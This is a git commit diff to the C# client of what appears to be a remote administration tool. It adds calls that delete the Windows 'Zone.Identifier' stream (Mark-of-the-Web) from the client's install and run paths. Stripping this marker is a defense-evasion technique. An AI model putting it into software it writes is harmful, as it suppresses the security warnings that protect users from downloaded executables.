Delete ZoneIdentifier when installing Client

This commit is contained in:
MaxXor 2015-08-24 23:31:36 +02:00
parent 5e868eb05e
commit 531e855376
3 changed files with 7 additions and 2 deletions

View File

@ -26,9 +26,9 @@ namespace xClient.Core.Helper
return (block[0] == 'M' && block[1] == 'Z') || (block[0] == 'Z' && block[1] == 'M');
}
public static void DeleteZoneIdentifier(string filePath)
public static bool DeleteZoneIdentifier(string filePath)
{
NativeMethods.DeleteFile(filePath + ":Zone.Identifier");
return NativeMethods.DeleteFile(filePath + ":Zone.Identifier");
}
public static string CreateUninstallBatch(bool isFileHidden)

View File

@ -4,6 +4,7 @@ using System.IO;
using System.Threading;
using xClient.Config;
using xClient.Core.Data;
using xClient.Core.Helper;
using xClient.Core.Networking;
namespace xClient.Core.Installation
@ -65,6 +66,8 @@ namespace xClient.Core.Installation
}
}
FileHelper.DeleteZoneIdentifier(ClientData.InstallPath);
//start file
var startInfo = new ProcessStartInfo
{

View File

@ -133,6 +133,8 @@ namespace xClient
if (ClientData.Disconnect)
return;
FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);
if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
{
WindowsAccountHelper.StartUserIdleCheckThread();